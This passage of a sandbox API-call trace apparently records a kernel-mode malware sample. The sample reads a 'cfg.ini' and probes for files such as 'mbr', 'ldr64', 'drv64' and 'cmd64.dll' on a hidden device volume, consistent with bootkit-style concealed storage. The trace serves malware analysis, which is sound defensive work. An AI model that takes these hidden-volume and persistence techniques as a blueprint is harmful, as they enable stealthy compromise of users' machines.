VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.436] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.436] IdePortDispatch () returned 0x103 [0121.436] KeWaitForMutexObject () returned 0x0 [0121.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.436] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.436] IdePortDispatch () returned 0x103 [0121.436] KeWaitForMutexObject () returned 0x0 [0121.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.437] KeLeaveCriticalRegion () [0121.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.437] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.437] KeEnterCriticalRegion () [0121.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.437] KeLeaveCriticalRegion () [0121.437] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.438] KeEnterCriticalRegion () [0121.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.438] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.438] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.438] KeLeaveCriticalRegion () [0121.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.438] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.438] KeEnterCriticalRegion () [0121.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.438] ExFreePoolWithTag (P=0xfffffa8003bc4a20, Tag=0x0) [0121.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.438] KeLeaveCriticalRegion () [0121.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.438] ReleaseMutex (hMutex=0xf0) returned 1 [0121.438] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.438] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.438] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.438] KeEnterCriticalRegion () [0121.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.439] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.439] IdePortDispatch () returned 0x103 [0121.439] KeWaitForMutexObject () returned 0x0 [0121.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.439] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.439] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.439] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.439] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.439] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.439] KeLeaveCriticalRegion () [0121.439] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.439] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.439] KeEnterCriticalRegion () [0121.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.439] KeLeaveCriticalRegion () [0121.439] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.439] KeEnterCriticalRegion () [0121.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.439] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.439] IdePortDispatch () returned 0x103 [0121.439] KeWaitForMutexObject () returned 0x0 [0121.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.440] KeLeaveCriticalRegion () [0121.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.440] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.440] KeEnterCriticalRegion () [0121.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2e000 [0121.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.440] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.440] IdePortDispatch () returned 0x103 [0121.440] KeWaitForMutexObject () returned 0x0 [0121.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.440] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.440] IdePortDispatch () returned 0x103 [0121.440] KeWaitForMutexObject () returned 0x0 [0121.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.440] KeLeaveCriticalRegion () [0121.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.441] KeEnterCriticalRegion () [0121.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] KeLeaveCriticalRegion () [0121.441] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.441] KeEnterCriticalRegion () [0121.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.441] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] KeLeaveCriticalRegion () [0121.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.441] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.441] KeEnterCriticalRegion () [0121.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] KeLeaveCriticalRegion () [0121.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.441] ReleaseMutex (hMutex=0xf0) returned 1 [0121.441] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.441] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.441] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.441] KeEnterCriticalRegion () [0121.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.441] IdePortDispatch () returned 0x103 [0121.441] KeWaitForMutexObject () returned 0x0 [0121.442] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.442] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.442] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.442] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.442] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.442] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.442] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.442] KeLeaveCriticalRegion () [0121.442] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.442] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.442] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.442] KeEnterCriticalRegion () [0121.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.442] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.442] IdePortDispatch () returned 0x103 [0121.442] KeWaitForMutexObject () returned 0x0 [0121.442] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.442] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.442] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.442] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.442] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.443] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.443] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.443] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.443] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.443] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.443] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.443] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.443] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.443] KeLeaveCriticalRegion () [0121.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.443] ReleaseMutex (hMutex=0x100) returned 1 [0121.443] Sleep (dwMilliseconds=0x2bf20) [0121.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b954830, dwHighDateTime=0x1d24fa4)) [0121.449] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.449] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.449] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.449] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.449] KeEnterCriticalRegion () [0121.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.449] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.449] IdePortDispatch () returned 0x103 [0121.449] KeWaitForMutexObject () returned 0x0 [0121.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.449] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4a20 [0121.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] KeLeaveCriticalRegion () [0121.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.449] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.449] KeEnterCriticalRegion () [0121.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] KeLeaveCriticalRegion () [0121.450] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.450] KeEnterCriticalRegion () [0121.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.450] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.450] IdePortDispatch () returned 0x103 [0121.450] KeWaitForMutexObject () returned 0x0 [0121.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.450] KeLeaveCriticalRegion () [0121.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.450] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.450] KeEnterCriticalRegion () [0121.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b31000 [0121.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.450] IdePortDispatch () returned 0x103 [0121.450] KeWaitForMutexObject () returned 0x0 [0121.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.450] IdePortDispatch () returned 0x103 [0121.451] KeWaitForMutexObject () returned 0x0 [0121.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] KeLeaveCriticalRegion () [0121.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.451] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.451] KeEnterCriticalRegion () [0121.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] KeLeaveCriticalRegion () [0121.451] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.451] KeEnterCriticalRegion () [0121.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.451] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] KeLeaveCriticalRegion () [0121.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.451] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.451] KeEnterCriticalRegion () [0121.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.451] ExFreePoolWithTag (P=0xfffffa8003bc4a20, Tag=0x0) [0121.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] KeLeaveCriticalRegion () [0121.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.452] ReleaseMutex (hMutex=0xf0) returned 1 [0121.452] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.452] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.452] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.452] KeEnterCriticalRegion () [0121.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.452] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.452] IdePortDispatch () returned 0x103 [0121.452] KeWaitForMutexObject () returned 0x0 [0121.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", 